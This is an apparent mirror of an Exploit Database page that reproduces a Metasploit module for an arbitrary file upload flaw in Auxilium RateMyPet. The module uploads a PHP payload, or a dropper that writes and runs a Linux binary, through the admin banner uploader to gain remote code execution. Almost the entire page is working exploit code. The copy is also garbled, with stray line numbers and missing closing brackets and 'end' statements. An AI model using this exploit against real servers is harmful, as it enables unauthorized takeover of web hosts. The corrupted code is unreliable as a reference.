Auxilium RateMyPet – Arbitrary File Upload (Metasploit)

Exploit Database
107 阅读

作者： Metasploit

日期： 2012-10-10
类别：
- webapps
平台：
- linux
来源：https://www.exploit-db.com/exploits/21836/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

include Msf::Exploit::EXE

def initialize(info={})

super(update_info(info,

'Name' => "Auxilium RateMyPet Arbitrary File Upload Vulnerability",

'Description'=> %q{

This module exploits a vulnerability found in Auxilium RateMyPet's. The site

banner uploading feature can be abused to upload an arbitrary file to the web

server, which is accessible in the 'banner' directory, thus allowing remote code

execution.

'License'=> MSF_LICENSE,

'Author' =>

[

'DaOne',#Vulnerability discovery

'sinn3r'#Metasploit

'References' =>

[

['OSVDB', '85554'],

['EDB', '21329']

'Payload'=>

{

'BadChars' => "\x00"

'DefaultOptions'=>

{

'ExitFunction' => "none"

'Platform' => ['linux', 'php'],

'Targets'=>

[

[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' }],

[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]

'Privileged' => false,

'DisclosureDate' => "Sep 14 2012",

'DefaultTarget'=> 0))

register_options(

[

OptString.new('TARGETURI', [true, 'The base directory to the application', '/Auxiliumpetratepro/'])

], self.class)

end

def check

target_uri.path << '/' if target_uri.path[-1,1] != '/'

base = File.dirname("#{target_uri.path}.")

res = send_request_raw({'uri'=>"#{base}/admin/sitebanners/upload_banners.php"})

if res and res.body =~ /\<title\>Pet Rate Admin \- Banner Manager\<\/title\>/

return Exploit::CheckCode::Appears

else

return Exploit::CheckCode::Safe

end

def get_write_exec_payload(fname, data)

p = Rex::Text.encode_base64(generate_payload_exe)

php = %Q|

<?php

$f = fopen("#{fname}", "wb");

fwrite($f, base64_decode("#{p}"));

fclose($f);

exec("chmod 777 #{fname}");

exec("#{fname}");

php = php.gsub(/^\t\t/, '').gsub(/\n/, ' ')

return php

end

def on_new_session(cli)

if cli.type == "meterpreter"

cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")

end

@clean_files.each do |f|

print_status("#{@peer} - Removing: #{f}")

begin

if cli.type == 'meterpreter'

cli.fs.file.rm(f)

else

cli.shell_command_token("rm #{f}")

end

rescue ::Exception => e

print_error("#{@peer} - Unable to remove #{f}: #{e.message}")

end

def upload_exec(base, php_fname, p)

data = Rex::MIME::Message.new

data.add_part('http://', nil, nil, "form-data; name=\"burl\"")

data.add_part('', nil, nil, "form-data; name=\"alt\"")

data.add_part(p, 'text/plain', nil, "form-data; name=\"userfile\"; filename=\"#{php_fname}\"")

data.add_part(' Upload', nil, nil, "form-data; name=\"submitok\"")

post_data = data.to_s

post_data = post_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')

print_status("#{@peer} - Uploading payload (#{p.length.to_s} bytes)...")

res = send_request_cgi({

'method' => 'POST',

'uri'=> "#{base}/admin/sitebanners/upload_banners.php",

'ctype'=> "multipart/form-data; boundary=#{data.bound}",

'data' => post_data,

})

if not res

print_error("#{@peer} - No response from host")

return

end

print_status("#{@peer} - Requesting '#{php_fname}'...")

res = send_request_raw({'uri'=>"#{base}/banners/#{php_fname}"})

if res and res.code == 404

print_error("#{@peer} - Upload unsuccessful: #{res.code.to_s}")

return

end

handler

end

def exploit

@peer = "#{rhost}:#{rport}"

target_uri.path << '/' if target_uri.path[-1,1] != '/'

base = File.dirname("#{target_uri.path}.")

php_fname ="#{Rex::Text.rand_text_alpha(5)}.php"

@clean_files = [php_fname]

case target['Platform']

when 'php'

p = "<?php #{payload.encoded} ?>"

when 'linux'

bin_name = "#{Rex::Text.rand_text_alpha(5)}.bin"

@clean_files << bin_name

bin = generate_payload_exe

p = get_write_exec_payload("/tmp/#{bin_name}", bin)

end

upload_exec(base, php_fname, p)

end